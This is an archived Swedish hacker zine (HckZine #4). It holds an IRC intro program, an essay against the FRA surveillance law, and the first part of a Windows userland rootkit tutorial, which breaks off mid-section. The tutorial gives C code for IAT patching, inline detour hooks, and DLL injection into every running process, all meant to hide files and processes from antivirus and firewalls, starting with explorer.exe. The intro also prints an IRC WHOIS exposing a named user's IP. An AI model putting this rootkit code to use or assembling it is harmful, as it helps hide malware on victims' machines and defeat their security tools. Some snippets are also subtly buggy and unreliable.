OBS! Denna textfil ingår i ett arkiv som är dedikerat att bevara svensk undergroundkultur, med målsättningen att vara så heltäckande som möjligt. Flashback kan inte garantera att innehållet är korrekt, användbart eller baserat på fakta, och är inte heller ansvariga för eventuella skador som uppstår från användning av informationen.
[==============================================================================] echo $hack. "FREEDOM OF SPEECH, USE IT OR LOSE IT!" - = == ===- -===] - = = = = === === == === == = = =========== -===- =] ___ ___ __ __________.__ / | \ ____ | | __\____ /|__| ____ ____ / ~ \_/ ___\| |/ / / / | |/ \_/ __ \ \ Y /\ \___| < / /_ | | | \ ___/ \___|_ / \___ >__|_ \/_______ \|__|___| /\___ > \/ \/ \/ \/ \/ 0x04\/ ERRATA - NO NEED LOL SO PRO!! SO PRO WE R! ================================================================================ Index ================================================================================ HckZine goes signed | V 0xFF Intro...............................................................Spejnar 0x00 Förtroendevalda......................................................Retard 0x01 Rootkits i Windows...................................................sasha^ 0x02 Bootbar kod för x86 - Del 1........................................swestres 0x03 PHP-Virus, teori och praktik, del 2..................................R34p3r 0x04 Introduktion till C#, del 4..........................................Retard 0x05 Introduktion till C#, del 4 - uppgifter..............................Retard 0x06 Outro..............................................................swestres ================================================================================ 0xFF Intro...............................................................Spejnar ================================================================================ Ännu en gång reser sig den blodige kämpen ur krigets hetta. Nä fan, det här funkar inte. Vart är den självutnämnde poesibögen #1? zine@burk:~/code/zine$ cat intro.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <unistd.h> int main() { int iSocket, iRet; struct sockaddr_in sHost; char knark[512]; iSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sHost.sin_family = AF_INET; sHost.sin_port = 0x0B1A; sHost.sin_addr.s_addr = 0x29055058; connect(iSocket, (struct sockaddr*)&sHost, sizeof(sHost)); send(iSocket, "NICK introhaxx\x0d\x0a", 16, 0); send(iSocket, "USER hax hax irc.swepipe.se :hax\x0d\x0a", 34, 0); send(iSocket, "WHOIS odlan\x0d\x0a", 13, 0); while((iRet = recv(iSocket, &knark, 512, 0)) > 0) { knark[iRet] = '\0'; printf("%s", knark); } return 0; } zine@burk:~/code/zine$ gcc intro.c -o intro && ./intro :irc.swepipe.se NOTICE AUTH :*** Looking up your hostname... :irc.swepipe.se NOTICE AUTH :*** Checking Ident :irc.swepipe.se NOTICE AUTH :*** Found your hostname... :irc.swepipe.se NOTICE AUTH :*** Checking Ident :irc.swepipe.se NOTICE AUTH :*** No Ident response ; cuttad :irc.swepipe.se 375 introhaxx :- irc.swepipe.se Message of the Day - :irc.swepipe.se 372 introhaxx :- He jacked in. :irc.swepipe.se 372 introhaxx :- :irc.swepipe.se 372 introhaxx :- Nothing. Gray void. No matrix, no grid. No :irc.swepipe.se 372 introhaxx :- cyberspace. :irc.swepipe.se 372 introhaxx :- :irc.swepipe.se 372 introhaxx :- The deck was gone. His fingers were. . . :irc.swepipe.se 372 introhaxx :- And on the far rim of consciousness, a :irc.swepipe.se 372 introhaxx :- scurrying, a fleeting :irc.swepipe.se 372 introhaxx :- impression of something rushing toward him :irc.swepipe.se 372 introhaxx :- , across leagues :irc.swepipe.se 372 introhaxx :- of black mirror. :irc.swepipe.se 372 introhaxx :- He tried to scream. :irc.swepipe.se 372 introhaxx :- -- Neuromancer, by William Gibson :irc.swepipe.se 372 introhaxx :- :irc.swepipe.se 372 introhaxx :- welcome to... :irc.swepipe.se 372 introhaxx :- _____ _ _________ ________ :irc.swepipe.se 372 introhaxx :- ________\___ : \__\___ ,_ \______\___ \ :irc.swepipe.se 372 introhaxx :- \___ \ | \ \ ____/___ ,_ \ :__\ :irc.swepipe.se 372 introhaxx :- / \___\ ' \ :__\ \ / ____/ ` / :irc.swepipe.se 372 introhaxx :- / , \ _ / ` / / / / \ ____/ :irc.swepipe.se 372 introhaxx :- \___\__ /__\_/ __/__/ \_/__ /___/ :irc.swepipe.se 372 introhaxx :- \___/ \___/ \____/ \__/ :irc.swepipe.se 372 introhaxx :- i r c. s w e p i p e .se :irc.swepipe.se 372 introhaxx :- :irc.swepipe.se 372 introhaxx :- :irc.swepipe.se 372 introhaxx :- hosted by PRQ AB - www.prq.se :irc.swepipe.se 372 introhaxx :- "lightning never strikes twice" :irc.swepipe.se 372 introhaxx :- :irc.swepipe.se 372 introhaxx :- co-location - dedicated servers :irc.swepipe.se 372 introhaxx :- webhosting - privacy services :irc.swepipe.se 372 introhaxx :- freedom of speech - freedom of press :irc.swepipe.se 372 introhaxx :- freedom of association - freedom of commerce :irc.swepipe.se 372 introhaxx :- "lightning never strikes twice" :irc.swepipe.se 372 introhaxx :- :irc.swepipe.se 376 introhaxx :End of /MOTD command. :irc.swepipe.se 311 introhaxx odlan ~gay pride.fra.se * :Unknown :irc.swepipe.se 312 introhaxx odlan irc.efnet.nl :hm :irc.swepipe.se 301 introhaxx odlan :bbl, pride ; GAY :irc.swepipe.se 338 introhaxx odlan 194.18.169.38 :actually using host :irc.swepipe.se 318 introhaxx odlan :End of /WHOIS list. ; End of story I detta nummer värmer Retard upp läsaren med ett inlägg i FRA-debatten. sasha^ följer med en inblick i hur userland rootkits fungerar under windows. Efter det bjuder swestres oss på en hårdvarunära tur i 16-bitars real mode. Avslutningsvis fortsätter R34p3r och Retard med sina artikelserier. Vi är nu uppe i zine #4. Under tiden har formatet och skribenterna utvecklats och fortsättningen ska inte göra någon besviken. Någon anonym skribent har bidragit med intressant information men vi söker fortfarande seriöst folk som vill dela med sig av sina åsikter inom hacktivism. Over and out. ================================================================================ 0x00 Förtroendevalda Retard ================================================================================ Vi valde in ett par partier till att styra och ställa i Sverige, det var en blå regering. Till en början märkte man inte av någonting, men allt eftersom att den nya regeringen blivit varma i kläderna börjar lagar och regler införas. I allt snabbare takt, vi hinner inte med längre. Vi ser en så kallad FRA-lag, en lag som tillåter en CIVIL myndighet att övervaka all vår kommunikation med utlandet, oavsett om du är misstänkt för ett brott eller ej. Låter du intressant riskerar du att få all trafik bevakad, du kan ju faktiskt vara en terrorist. Våra förtroendevalda klubbade igenom denna lag, de ansåg att de visste vad de pysslade med. Andra förtroendevalda röstade för lagen, även att de var emot den. Det är hemskt hur mycket ett parti kan påverka individer som ska nyttja sin rösträtt. Man kan tro att en lag som innebär ett intrång på den personliga integriteten måste ha stort stöd bland befolkningen, men med facit i hand är det befolkningen som nu istället räds den nya lagen. - Vad händer när USA vill ha information om Kalle som pratar med Ali ifrån Irak? - Vad händer när FRA börjar missbruka sökparametrarna? - Vad händer när RIAA vill ha information om Erik som laddar ned musik? En omtalad lag, men protesterna kom väldigt sent. Media tog knappt upp lagen innan den var igenomklubbad. En vanlig lag kan man ju inte prata om, att Natascha plockat ut brösten är faktiskt mycket viktigare! Och nu, regeringen rullar på med allt fler lagar. Med tanke på hur många som fildelar är det dags att ge sig på dem också. Att de röstade på Moderaterna ska de då ta mig tusan få ångra! Regeringen vill nu att en domstol ska kunna tvinga Internetleverantörer till att lämna ut information om vem som äger en IP-adress, när den använts till att ladda ned olagliga filer. Det är dags att ge merparten av svenskarna en faktura på ett par tusen, om de vill slippa rättegång. I realiteten, betyder detta att RIAA kan få ut information om en IP-adress som inte ens polisväsendet kan få fram. Man kommer nu inte behöva begå ett brott som kan ge två års fängelse för att få ut information om en IP-adress. Nu räcker det att ha laddat ned Kung Fu Panda för att få uppgifterna publika. Ska vi slå vad om att både Beatrice Ask, Justitieminister och Lena Adelsohn Liljeroth, Kulturminister har laddat ned film och musik på Internet? Om så nu inte är fallet, är de så pass säkra på att ingen laddat ned musik ifrån deras uppkoppling att de vill införa en lag som gör att de kan bli tvungna till att betala tusenlappar för vad någon annan gjort? Det tror inte jag. Gratis inträde till museum? Gratis tillgång till musik! ================================================================================ 0x01 Rootkits i Windows sasha^ ================================================================================ Om artikeln =========== Denna artikel kommer behandla grunderna i rootkits främst avsedda för Windows Vista. Det är ingen utförlig manual som listar alla metoder för att nå det avsedda målet, utan är mera tänkt som en grundlig introduktion bakom hur rootkits fungerar med olika tillvägagångssätt beskrivna samt exempel skrivna i C Vad är ett rootkit? =================== Ett rootkit är ett program vars syfte är att dölja processer, anslutningar, filer eller poster i registret. Ofta används rootkits tillsammans med RATs eller skadlig kod för att dölja dess existens. Även vid analys av olika program kan de tekniker som rootkits använder sig av vara nyttiga. Rootkits har existerat länge i olika former. Till en början var det vanligt att man ersatte specifika filer för att uppnå sitt mål. Sedan dess har teknikerna utvecklats enormt till det vi har idag. x86-privilegier =============== Under x86 (32 bitars) finns ett antal ringar för att begränsa åtkomst. Om alla processer i ett system skulle köras på samma nivå vore säkerheten väldigt svår att hantera. Ringarna benämns 0 till 3, där ring 0 har fulla rättigheter. Under Linux och Windows används endast ring 0 och 3, då de tillfredställer behoven. Under Windows körs kernel med bl.a. drivrutiner i ring 0. På andra sidan, i ring 3, exekverar vanliga processer som anteckningar i userland. Vid vissa tillfällen kan åtkomst möjliggöras för ring 3 till ring 0. Grunderna ========= När man skriver rootkits strävar man alltid efter att köra koden på så låg nivå som möjligt, ring 0, sett från x86 design. Samtidigt måste det göras en avvägning mellan funktionaliteten, invecklad kod och kompabiliteten. Om man vill köra koden på så låg nivå som möjligt, faller kernel-nivån oss naturligt i smaken. Det innebär dockstora svårigheter att skriva drivrutiner vars syften är att dölja olika egenskaper.En annan nackdel är att den användaren som exekverar koden måste vara lokal administratör, vilket knappast är en självklarhet. Nu kanske userland låter som det självklara valet men även det har nackdelar. Men först, varför vill man exekvera koden på såg låg nivå som möjligt? Det är p.g.a. av anti-virus (AV) och brandväggar (FW) som tillämpar liknande tekniker för att avslöja rootkits. Förenklat sett så är vinnaren oftast den som ligger på lägst nivå. Då majoriteten av dagens AVs och FWs körs i kernel, räcker inte userland till för att koden ska bli undetected (UD). I den här artikeln kommer jag endast behandla userland, vilket är en nödvändighet för fortsatt skapande av kod för kernel. Hur döljs processer, filer...? ------------------------------------- Det finns ett flertal tekniker för att lura Windows. Det här dokumentet behandlar IAT-patching och detour/inline hook. Förenklat innebär detta att man ersätter systemanrop med våra egna funktioner som agerar utifrån vissa nyckelord te.x. filnamn, i datan. Låt oss ta funktionen strcmp för att visa ett simpelt exempel. Funktionens prototyp: int strcmp(const char * string1, const char * string2); strcmp jämför två strängar och returnerar 0 om de är likvärdiga. Om man nu vill kolla med vilka strängar ett program anropar funktionen kan man skriva en egen. int HookedStrcmp(const char * string1, const char * string2) { char msg[100]; msg = "HookedStrcmp("; strcat(msg, string1); strcat(msg, ", "); strcat(msg, string2); strcat(msg, ");"); MessageBoxA(0, msg, "Hooked call", MB_OK); return strcmp(string1, string2); } Om originalet ersätts med HookedStrcmp kommer MessageBoxA anropas varje gång med de argument som angavs. originalet kommer fortfarande fungera då hooket returnerar den vanliga funktionen innan return. Genom att ersätta funktioner på ett liknande sätt, kan man kontrollera vilka data som behandlas och returneras. För att förstå hur funktioner ersätts med andra, behövs kunskap i PE formatet. PE -- Alla dll- och exe-filer i Windows använder Portable Executable (PE) formatet. Det består av olika headers och sektioner som beskriver hur som beskriver vad koden kräver och hur den ska användas. Både filer på disk och i minnet använder sig av formatet, dock med mindre skillnader. När man ska ersätta funktionsanrop behöver vissa sektioner uppdateras i minnet hos den aktuella filen. Vårt mål är att ersätta en del av de adresser som finns i Import Address Table (IAT) för att de ska peka på våra egna funktioner. IAT innehåller de funktioner som importeras, även kallade imports. När te.x. MessageBoxA anropas i koden hoppar inte exekveringen direkt till koden. Detta skulle innebära skillnader i adresser för funktioner mellan olika uppdateringar av operativsystemet. För att lösa detta använder PE en tabell med adresser och funktionsnamn som uppdateras vid exekvering av programmet. Vid anrop av en anrop av en funktion i ett program hoppar exekveringen till den adress som är angiven i IAT. Detta är en smart lösning med ett stort bakslag, man kan uppdatera adresserna så att de pekar på andra funktioner. Basadressen utvinner man genom att anropa GetModuleHandle och casta resultatet till en unsigned long. Funktionen returnerar basadressen till det aktuella programmet, även om den anropas från en dll. unsigned long ulBaseAddr = (unsigned long) GetModuleHandle(NULL); Basadressen behövs då den första strukturen, PIMAGE_DOS_HEADER, börjar där. De definitioner som följer här är kopierade direkt från WinNt.h. För att skapa en struktur som innehåller den aktuella filens PIMAGE_DOS_HEADER, används följande: PIMAGE_DOS_HEADER pimgDosHeader = (PIMAGE_DOS_HEADER) ulBaseAddr; Deklaration: typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; Den intressanta medlemmen här är e_lfanew. Den innehåller en Relative Virtual Address (RVA) som pekar på PIMAGE_NT_HEADERS. Eftersom det är en relativ adress adderas RVA med basadressen, som sparades tidigare. PIMAGE_NT_HEADERS pimgNtHeaders = (PIMAGE_NT_HEADERS) (pimgDosHeader->e_lfanew + ulBaseAddr); Deklaration (PIMAGE_NT_HEADERS är deffad till PIMAGE_NT_HEADERS32 på x86): typedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32 OptionalHeader; } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32; Här kikar vi vidare på OptionalHeader. Deklaration av IMAGE_OPTIONAL_HEADER32: typedef struct _IMAGE_OPTIONAL_HEADER { // // Standard fields. // WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; DWORD BaseOfData; // // NT additional fields. // DWORD ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; Här finns en del självförklariga medlemmar med information om storleken på de olika sektionerna i avbildningen. AddressOfEntryPoint är ett RVA som pekar på första instruktionen i programmet. DataDirectory är en array av IMAGE_DATA_DIRECTORY. Här alla element: #define IMAGE_DIRECTORY_ENTRY_EXPORT 0 //Export Directory #define IMAGE_DIRECTORY_ENTRY_IMPORT 1 //Import Directory #define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 //Resource Directory #define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 //Exception Directory #define IMAGE_DIRECTORY_ENTRY_SECURITY 4 //Security Directory #define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 //Base Relocation Table #define IMAGE_DIRECTORY_ENTRY_DEBUG 6 //Debug Directory // IMAGE_DIRECTORY_ENTRY_COPYRIGHT 7 //(X86 usage) #define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 //Architecture Specific Data #define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 //RVA of GP #define IMAGE_DIRECTORY_ENTRY_TLS 9 //TLS Directory #define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 //Load Configuration Directory #define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 //Bound Import Directory in headers #define IMAGE_DIRECTORY_ENTRY_IAT 12 //Import Address Table #define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 //Delay Load Import Descriptors #define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 //COM Runtime descriptor DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] innehåller alltså en IMAGE_DATA_DIRECTORY. Nu först kommer de delar av PE som berör IAT. Deklaration av IMAGE_DATA_DIRECTORY: typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; DWORD Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; VirtualAddress är en RVA till en PIMAGE_IMPORT_DESCRIPTOR. För att sammanfatta det hela användes följande rad för att beräkna adressen till PIMAGE_IMPORT_DESCRIPTOR: PIMAGE_IMPORT_DESCRIPTOR pimgImportDesc = (PIMAGE_IMPORT_DESCRIPTOR) (pimgNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] .VirtualAddress + ulBaseAddr); Deklaration av IMAGE_DATA_DIRECTORY: typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; // 0 for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) }; DWORD TimeDateStamp; // 0 if not bound, // -1 if bound, and real date\time stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) // O.W. date/time stamp of DLL bound to (Old BIND) DWORD ForwarderChain; // -1 if no forwarders DWORD Name; DWORD FirstThunk; // RVA to IAT } IMAGE_IMPORT_DESCRIPTOR; typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR; Det finns en IMAGE_IMPORT_DESCRIPTOR för varje dll applikationen importerar. När man stegar till nästa dll användes pekararetmitk. Medlemmen Name är en nullterminerad sträng vars innehåll är namnet på dll-filen. Sista IMAGE_DATA_DIRECTORY sätter Name till '\0'. På disk pekar Characteristics till en array av IMAGE_ IMPORT_BY_NAME medans OriginalFirstThunk används under runtime. OriginalFirstThunk är en RVA till Import Name Table (INT). Denna används när man ska loopa genom de funktioner som importeras. FirstThunk är en RVA till Import Address Table (IAT). Här finns de adresser som pekar på olika funktioner. FirstThunk är en RVA till en array av IMAGE_THUNK_DATA32. typedef struct _IMAGE_THUNK_DATA32 { union { PBYTE ForwarderString; PDWORD Function; DWORD Ordinal; PIMAGE_IMPORT_BY_NAME AddressOfData; } u1; } IMAGE_THUNK_DATA32; Function är adressen till funktionen. AddressOfData är adressen till en IMAGE_IMPORT_BY_NAME som innehåller namnet på funktionen. Med dessa kunskaper kan nu de funktioner skrivas för att ersätta de adresser som pekar på orginalfunktionerna. Våran första funktion, hookFunction, tar emot ett argument av typen SHook. Detta är en struktur som lagrar info om ett hook. struct SHook { char strDll[MAX_PATH], strFunction[MAX_PATH]; unsigned long vpHook; void * vpOriginal; }; Strukturen innehåller namn på den dll där funktionen ligger, funktionens namn, adressen till den nya funktionen och en void* som pekar på originalet. hookFunction sparar basadressen och loopar sedan genom alla poster i PIMAGE_IMPORT_DESCRIPTOR. När funktionen hittar det korrekta biblioteket, anropas patchDll() med oHook, den aktuella PIMAGE_IMPORT_DESCRIPTOR och basadressen. bool hookFunction(SHook * oHook) { unsigned long ulBaseAddr; PIMAGE_DOS_HEADER pimgDosHeader; PIMAGE_NT_HEADERS pimgNtHeaders; PIMAGE_IMPORT_DESCRIPTOR pimgImportDesc; char * cpDll; ulBaseAddr = (unsigned long)GetModuleHandle(NULL); pimgDosHeader = (PIMAGE_DOS_HEADER) ulBaseAddr; pimgNtHeaders = (PIMAGE_NT_HEADERS) (pimgDosHeader->e_lfanew + ulBaseAddr); pimgImportDesc = (PIMAGE_IMPORT_DESCRIPTOR) (pimgNtHeaders-> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + ulBaseAddr); for( ; pimgImportDesc->Name; pimgImportDesc++ ) { cpDll = (char *) (pimgImportDesc->Name + ulBaseAddr); printf("strcmp(%c, %c)\n",cpDll,oHook->strDll); if( !strcmp(cpDll, oHook->strDll) ) { printf("Hittade dll\n"); patchDll( oHook, pimgImportDesc, ulBaseAddr ); return true; } } return false; } patchDll's syfte är att hitta IAT och INT, loopa igenom och kolla om den aktuella u1.Ordinal är giltig. Om så är fallet sparas adressen till IMAGE_IMPORT_BY_NAME och funktionens namn jämförs mot den som ska ersättas. Om funktionen hittas sparas adressen till originalet i oHook->m_vpOriginal. Sedan tas det skrivskydd som finns på det aktuella minnesområdet bort med VirtualProtect. Originalfunktionen, oHook->m_vpOriginal, ersätts med oHook->m_vpHook och skrivskyddet återställs. void patchDll(SHook * oHook, PIMAGE_IMPORT_DESCRIPTOR pimgImportDesc , unsigned long ulBaseAddr) { IMAGE_THUNK_DATA * pimgImportAddressTable, * pimgImportNameTable; IMAGE_IMPORT_BY_NAME * pimgImport; pimgImportAddressTable = (IMAGE_THUNK_DATA *) (pimgImportDesc->FirstThunk + ulBaseAddr); pimgImportNameTable = (IMAGE_THUNK_DATA *) (pimgImportDesc->OriginalFirstThunk + ulBaseAddr); for( ; pimgImportAddressTable->u1.Function; pimgImportAddressTable++ && pimgImportNameTable++ ) { if( !IMAGE_SNAP_BY_ORDINAL(pimgImportNameTable->u1.Ordinal) ) { pimgImport = (IMAGE_IMPORT_BY_NAME *) (pimgImportNameTable->u1.AddressOfData + ulBaseAddr); if( strcmp((char *)pimgImport->Name, oHook->m_strFunction) ) continue; oHook->m_vpOriginal = (void *) pimgImportAddressTable->u1.Function; unsigned long ulProtection, ulTemp; VirtualProtect((void *)&pimgImportAddressTable->u1.Function , sizeof(unsigned long), PAGE_EXECUTE_READWRITE, &ulProtection); pimgImportAddressTable->u1.Function = oHook->m_vpHook; VirtualProtect((void *) &pimgImportAddressTable->u1.Function , sizeof(unsigned long), ulProtection, &ulTemp); } } } Detour/inline hook ================== Som tidigare har nämnts så har patch av IAT ett flertal nackdelar. Den främsta är att eventuella funktionsanrop till GetProcAdress går oupptäckta förbi. Det finns en lösning till detta där man tänker omvänt och ersätter instruktioner där själva funktionen är. Vi tar MessageBoxA som exempel. Första 15 bytes: 8b ff 55 8b ec 83 3d b0 ac f6 77 0 f 85 e5 Varje byte motsvarar en instruktion, med ett fåtal undantag. Genom att ersätta dessa med våra egna kan vi exekvera valfri kod vid varje anrop till funktionen. Det är enklast att genomföra detta med ett JMP som styr exekveringen till hook-funktionen direkt efter anropet till orginalfunktionen. Då orginalfunktionen måste anropas från den hookade så måste man även spara de instruktioner som ersätts. Exempel som sparar de 15 första byte's i ucOld (unsigned char) från funktionens adress som finns sparad i addr (void *) sedan tidigare anrop till GetProcAddres. for( int i = 0; i < 15; i++) ucOld[i] = *((unsigned char *)addr + i); För att styra exekveringen användes ett JMP. Fölande instruktion gör ett FAR JMP till adressen 0x11223344 i userland: EA 44 33 22 11 1B 00 Hela instruktionen tar alltså upp 7 bytes. EA är opcode för JMP FAR. 1B 00 anger att minnet i userland används. Då adressen till själva hook-funktionen ändras vid varje körning så kan den inte hårdkodas. Ovan nämnda kan sammanställas till följande kodstycke (m_vpHook är en unsigned long som innehåller adressen till hook-funktionen): char cpHook[4]; *( (unsigned long *)cpHook ) = oHook->m_vpHook; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId()); char cpHook[4]; WriteProcessMemory(hProcess, temp, "\xEA", 1, NULL); WriteProcessMemory(hProcess, (void *)((unsigned char *)temp + 1), cpHook, 4 , NULL); WriteProcessMemory(hProcess, (void *)((unsigned char *)temp + 5), "\x1B\x00", 5 , NULL); CloseHandle(hProcess); Nackdelen med att använda ett EA-jmp är att de första 7 bytes skiljer sig åt mellan olika funktioner. Instruktioner har inte en fixerad längd på 1 byte, vilket betyder att koden ovan kan lämna en halv instruktion kvar. Antingen kan man ersätta de kvarvarande delarna med 0x90 (No Operation) eller så använder man ett relativt jmp som endast kräver 5 bytes. Anledningen till att det senare fungerar är att nästan alla funktioner har en likvärdig så kallad preamble på 5 bytes. Under Xp sp2 och Vista ser den ut som följande: 8BFF mov edi, edi 55 push ebp 8BEC mov ebp, esp Första instruktionen motsvarar en 2 bytes NOP som inte utför någonting. Anledningen till dess existens är att Microsoft använder inline hooks för "hot patching". Detta innebär att vissa tjänster inte behöver startas om vid uppdatering. Varför MS använder mov edi, edi istället för NOP NOP är ett mysterium för mig. swestres gav dock en möjlig förklarning: [18:11:15:324]{swestres} Det är väl (kanske) för att en instruktion laddas dubbelt så snabbt som två, fast med tanke på cache och skit så borde det spela väldigt liten roll Den andra instruktionen pushar SFP (Saved Frame Pointer) och används senare till att återställa ebp efter funktionen. Efter detta kopieras esp till ebp, vilket sätter upp en ny rampekare. Efter att vår hook-funktion har anropats så måste även orginalfunktionen anropas. Detta kräver att man sparar dess adress och använder den senare i ett jmp. *( (unsigned long *)&oHook->ucOld[13] ) = (unsigned long)((unsigned char *)temp + 7); ucOld är bufferten där adressen sparas. temp + 7 motsvarar adressen till instruktionen som följer vårt jmp. Injecta kod =========== Då varje process under Windows har en egen adressrymd, behöver man injecta koden i den andra processen innan den exekveras. Det finns ett flertal sätt att uppnå det önskade resultatet, här demonstreras två. I båda situationerna behövs en dll och en "injector" som anropar dll:en. Globalt hook ------------ Under Windows finns så kallade hooks. Dessa består av en funktion som anropas vid en viss händelse. För att applicera ett hook används SetWindowsHookEx. Som input tar funktionen vilken typ av händelse den ska agera vid, funktionen som ska köras, en optionell handle dll:en funktionen ligger i, samt en parameter som styr om hooket ska vara lokalt för en process eller gälla för alla. Vid användning av globalt hook är det lättast om funktionen ligger externt i en dll. För att underlätta det hela har man två funktioner, hook och unhook, som anropas från injectorn. DLL_EXPORT void hook(void) { g_hHook = SetWindowsHookEx(WH_MOUSE, MouseProc, g_hInstance, 0); if( !g_hHook ) dieWithError("SetWindowsHookEx failed"); } DLL_EXPORT void unhook(void) { if( !UnhookWindowsHookEx( g_hHook ) ) dieWithError("UnhookWindowsHookEx failed"); } DLL_EXPORT LRESULT CALLBACK MouseProc(int code, WPARAM wParam, LPARAM lParam) { return CallNextHookEx(g_hHook, code, wParam, lParam); } hook anropar SetWindowsHookEx med typen WH_MOUSE. Detta anger att alla program som läser av musen, laddar vår dll och exekverar MouseProc. MouseProc returnerar med nästa hook. Första gången dll:en laddas anropas även en eventuell DllMain. Här kan hookFunction anropas eftersom koden kommer köras i processen. LoadLibrary + CreateRemoteThread -------------------------------- Med ett globalt hook begränsas det faktum att koden inte kommer exekveras i alla processer. Det vore betydligt enklare om man hade en något diskretare teknik med stöd för att injecta till valfri process. WIN-API tillhandahåller funktioner som låter oss allokera minne, kopiera data samt starta trådar i andra processer. Eftersom varje process laddar Kernel32.dll, har dess funktioner samma adress i olika adressrymder. Med detta i åtanke kan man genomföra följande steg för att injecta en dll, givet ett pid. 1. Skapa en handle med OpenProccess vars rättigheter är WRITE, CREATE_THREAD och OPERATION 2. Allokera utrymme för dll-filens namn med VirtualAllocEx 3. Skriv det absoluta filnamnet med WriteProcessMemory 4. Använd CreateRemoteThread med start på GetProcAddress(GetModuleHandleA ("Kernel32"), "LoadLibraryA"), adressen till filnamnet som argument 5. Stäng handle med CloseHandle injectDll accepterar ett PID och utför ovan nämda steg. void injectDll(unsigned long ulPid) { HANDLE hProcess; void * vpMem; char cpDll[] = DLL_PATH; int iSize = sizeof(cpDll); hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION, FALSE, ulPid); if( !hProcess ) dieWithError("OpenProcess failed"); vpMem = VirtualAllocEx(hProcess, NULL, iSize, MEM_COMMIT, PAGE_READWRITE); if( !vpMem ) dieWithError("VirtualAllocEx failed"); BOOL bResult = WriteProcessMemory(hProcess, vpMem, cpDll, iSize, NULL); if( !bResult ) dieWithError("WriteProcessMemory failed"); HANDLE hResult = CreateRemoteThread(hProcess, NULL, NULL , (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32") , "LoadLibraryA"), vpMem, NULL, NULL); if( !hResult ) dieWithError("CreateRemoteThread failed"); CloseHandle( hProcess ); } Om man vill injecta våran dll i alla körande processer behöver man enumera dessa och anropa injectDll för varje PID. Med EnumProcesses sparas alla PID's i en buffer. Sedan loopar man (i)genom denna och anropar injectDll för alla PID's. Endast det anropadande programmet ska köra detta, därför kollas filnamnet i dllMain. char buf[MAX_PATH]; GetModuleFileNameA(NULL, buf, MAX_PATH); if( strstr(buf, "injector") ) { unsigned long ulPids[256], ulBytesWritten; EnumProcesses(ulPids, sizeof(unsigned long) * 256, &ulBytesWritten); for( unsigned int i = 1; i <= ( ulBytesWritten / sizeof(unsigned long) );i++) injectDll( ulPids[i] ); } Med kunskap om hur kod körs i andra processer samt hur funktionsanrop kan ersättas, går vi vidare till en praktisk tillämpning. Hooks ===== Filsystemet ----------- För att lura de program som använder filsystemet, behöver man hooka FindFirstFile och FindNextFile. Det finns, vilket nästan alltid är fallet, både ascii- och unicode-versioner av funktionerna (FindFirstFileA/W). Det primära målet för att dölja filer är explorer.exe. Vid granskning av dess import's hittas de tidigare nämda funktionerna. KERNEL32.dll 1001098 Import Address Table 1068AE4 Import Name Table FFFFFFFF time date stamp FFFFFFFF Index of first forwarder reference 77E01810 24D GetSystemTime 77E449CA 1CE GetFileAttributesW 77E44EBF 119 FindClose 77E44F71 130 FindNextFileW 77E44E2A 124 FindFirstFileW .... FindFirstFileW -------------- HANDLE WINAPI FindFirstFile( __in 